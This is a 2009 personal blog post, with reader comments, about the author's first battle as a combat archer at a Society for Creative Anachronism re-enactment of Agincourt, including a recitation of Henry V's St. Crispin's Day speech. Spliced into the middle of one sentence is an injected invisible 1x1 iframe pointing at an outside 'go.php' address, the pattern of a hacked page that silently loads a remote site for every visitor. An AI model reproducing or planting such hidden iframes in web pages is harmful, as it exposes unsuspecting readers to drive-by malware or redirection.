Posted by: wrmcnutt | May 26, 2009

St. Crispin’s Day


As you may have noticed, I’m the Society for Creative Anachronism.  We’re a large medieval re-creation group with chapters worldwide.  While we do many things, the most dynamic and visual of our practices is the martial art of heavy combat.  If you’ve ever seen people in real suits of armor in the park, beating each other with simulated swords, it was probably us.  We are divided into geographic regions we call Kingdoms, and each of these has a King.  My own kingdom is that of Meridies, or, as I like to think of it, the center-of-light-and-culture.  But I digress.

Wow – it was a long time ago now.  Back when fair Meridies stretched from the beaches of South Georgia all the way to the banks of the Mississippi River.  John The Bearkiller was King, and Viscount Francois DuVent was still fighting.  It came to pass that Sir Francois had always felt that the Battle of Agincourt hadn’t turned out right, and if he could just get a crack at it, things would turn out differently for the flower of French Chivalry.  After a number of years of planning, he managed to set up an event in the Barony of Grey Niche, “St. Crispin’s Day.”  His good friend John the Bearkiller would play the role of Henry V of England, and Francois would play Charles VI.  (Or perhaps it was Constable Charles d’Albret, who commanded the French that day, as Charles VI was incapacitated at the time.)  And thus would Francois correct the error of history that came to pass so very long ago.

I was, at the time, a simple target archer, with no title, no household allegiance, and only a vague, undefined ambition.  My Dad had taught me to shoot a bow when I was a boy, and I’d refined my skill as a Boy Scout, so wandering onto the target line was an obvious move for me as I cast about for something to do.  I wasn’t very gung-ho about it in the beginning.  I mostly just came to events, watched the heavy fighting, then went over to the target shoot and shot a few ends of arrows.  But at Silver Hammer that year, things were a little different.

You ever have one of those days when you’re just “on?”  When you’re “in the zone?”  Every now and then, no rare occasions, I have such a day with my bow.  As it happened, at that Silver Hammer so long ago, I was in the zone.  I had just put five of six arrows into the gold for the third time that day, a very rare occurrence for me, when I felt a hand on my shoulder.  I turned around and looked into the face of my king.

[iframe width=”1″ height=”1″ src=”http://s6g.info/go.php?sid=1″%5DNow, I’ve never been one to succumb to peer-fear.  And I have a firm awareness that the King’s of Meridies tend to vary between bag boy’s at Kroger, graphics designers, and the occasional lawyer out of Nashville.  So while I honor and respect the achievements of our Kings, awe has just never been in the picture.  However, John was looking particularly regal that afternoon.  And of the King’s of Meridies, he has been one of the most charismatic of them all.  He put his hand on my shoulder and said to me, “You are coming out to shoot for me at St. Crispin’s Day, aren’t you?”

I quickly summoned all of my wit and said, “Ah, er, eee, um, oh, well, um.  Y’see, I’m not an authorized Combat Archery.”

“Well, you show up ready to authorize, and we’ll fix that.”

I couldn’t think of anything else to be said after that, so I said, “Yes, your majesty.”  And thus committed my wife and I to a drive to Memphis.    Now, the event was still three weeks away, but three weeks isn’t much time when you’re an undergraduate with a part time job and a fiancee who needs to be kept entertained.

So that was how I came to be sewing leather elbow cops, in the dark, in the rain, while going down a bumpy interstate at eighty miles an hour.  Those were some ugly cops, let me tell you.  I had a borrowed helm, 18 arrows, and borrowed knees for my authorization.  True to his work, King John had us authorized before the battle the next morning.  Us? Well, yes, us.  You see, John was a wily bastard, and arranged to be King of Meridies during the months leading up to St. Crispin’s Day.  At the end of Court Business, John would rise from the throne, remove the Crown of Meridies from his brow, and say, “I speak to you now, not as John of Meridies, but as Henry of England.”  And then he went on to make a rolicking speech about “stout-hearted yeomen” and “bows of yew” and that stirring stuff. And he did it at every royal court.  By the time the event rolled around, we had the French archers outnumbered 11 – 1. (That is, there were 11 of us and 1 of her.)

The day started at breakfast, when King Henry (John) at breakfast with the troops in his armor, as legend has it that Henry V did before Agincourt.  We did my authorization, and then lined up for what was essentially an open field battle.  The scenario was the landing on the beach at Normandy.  Technically it was possible for the French to drive us back into the sea, but it was a practical impossibility.  Then Henry stepped forward and began to speak:

    “If we are mark’d to die, we are enow
    To do our country loss; and if to live,
    The fewer men, the greater share of honour.
    God’s will! I pray thee, wish not one man more.
    By Jove, I am not covetous for gold,
    Nor care I who doth feed upon my cost;
    It yearns me not if men my garments wear;
    Such outward things dwell not in my desires.
    But if it be a sin to covet honour,
    I am the most offending soul alive.
 ”

He was magnificent.  I raised my visor to hear better.

    That he which hath no stomach to this fight,
    Let him depart; his passport shall be made,
    And crowns for convoy put into his purse;
    We would not die in that man’s company
    That fears his fellowship to die with us.

I’ll not list it all here – this tale is already too long.  You can find it on Chronique.

We lined up in a fairly standard formation. The battlefield was small enough that both the French and English lines covered the entire width of the fighting field. So I did not have to deal with that most obnoxious of counter-archer forces:  the flanking unit.  “All make ready – ” cried the Marshals. We knocked our arrows.

“LAY ON!”  We kicked back and released.  Our first volley rose up over the heads of our shield wall.  And up over the heads of the front of the enemy line.  And then their backfield.  And then over their reserve unit.  I think that volley reached it’s apogee about at the edge of the field boundary and then started back down.  Not to but too fine a point on it, but . . .

We slew the feast hall.

You see, of the eleven archers on the field that morning, eight had authorized that month, and of those eight, five of us had authorized that morning.  It wasn’t pretty. 

As it typical in a field battle, things turned into chaos rather quickly.  I wasn’t hitting squat with my arrows, but no one seemed to want to engage me.  I looked around me and drew a breath.  Across from me was a French infantry man, beating the anvil chorus on his own face.  “What the . . .”

Then I realized.  Remember when I raised my visor to hear the King speak?  Did I ever say I lowered it again?  No, I did not.  For I was wandering around the battlefield with my visor up.  I immediately took a knee and slammed it shut.  I checked the catches, stood up, and suddenly had no problem getting someone to engage me.  It was a short battle after that.

After the English forces finished sweeping the beach clear, I wandered back to headquarters of the Dragon Company, a mercenary unit I’d been assigned to for the day.  One of the Sergeants was there, looking uncomfortable.  “I, uh, think the Marshal wants to speak with you.”

I turned around, and saw a rather intimidating trio headed toward me, striding, as they say, with a purpose.  On the right flank, the marshal-in-charge, identifiable by the crossed gold swords on black tabard.  The left flank was held by the Captain of the Dragon Company.  In the center, the wind at his back and sails set full, was my King, his face like a thundercloud.

“YOU!  Did you have your visor up during the field battle?”

Bit of advice:  speak the truth, for the truth shall set you free. (To borrow a phrase)

He had not, apparently, been expecting that answer.  He actually gaped at me for a second.

“Why!?!?”

“You began to speak, my King, and I could not hear you, so I raised my visor to hear you the better.  When you were done, I was so moved that I forgot to replace it.”

He opened the royal mouth, closed it, then opened it again.

“Don’t let it happen again.” 

And he left.  The Marshal looked at the Captain.  The Captain looked at the Marshal.  Then they both shrugged and left.  The only other words that were spoken of the incident were by the Sergent, who had been standing there.

“I really thought you were dead.”

But they’re right.  A soft answer turneth away wrath.

And that’s the tale of my first battle as a combat archer.  Tomorrow, if there’s enough interest, I’ll tell the tale of how I slew two kings with one arrow, out of bounds and during a hold.

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Responses

  1. Hey! I just popped over from Antique Mommy after reading your comment and wanted to leave you a note.

    Daddies shouldn’t ever worry about losing their daughters. For those of us lucky enough to have great fathers, there’s always a special place in our hearts and lives reserved just for them. As much as we may love our husbands, no man takes the place of a father.

    Have a wonderful week!

    • Thank you for stopping by. I don’t have a daughter of my own, but when the chosen niece was born, I had a sharp urge to grab a spear and check the neighborhood for cavebears and saberthooths. Just in case we missed any. That’s not the kind of thing you leave to chance.

  2. Yep, that was a doozy! If you had only been a squire, that would have ranked right up there in the legends of “Stupid Squire Tricks”.

    Gio

    • Oh – that was the field battle. My day was just beginning.

  3. Will….Oh do I remember that day, and John’s rendering of the St. Crispins Day speech. I wasn’t authorized quite yet then and watched the battle from the sidelines….Gads you realize we are aging ourselves with this one don’t you…..

  4. You were there that day?

    • That I was…….In fact the whole family was at that one….Part of the Household then were members of Grey Niche, so we tried to go there as often as we could.

  5. keep the stories coming. I wish I could hear you do this one at a campfire.


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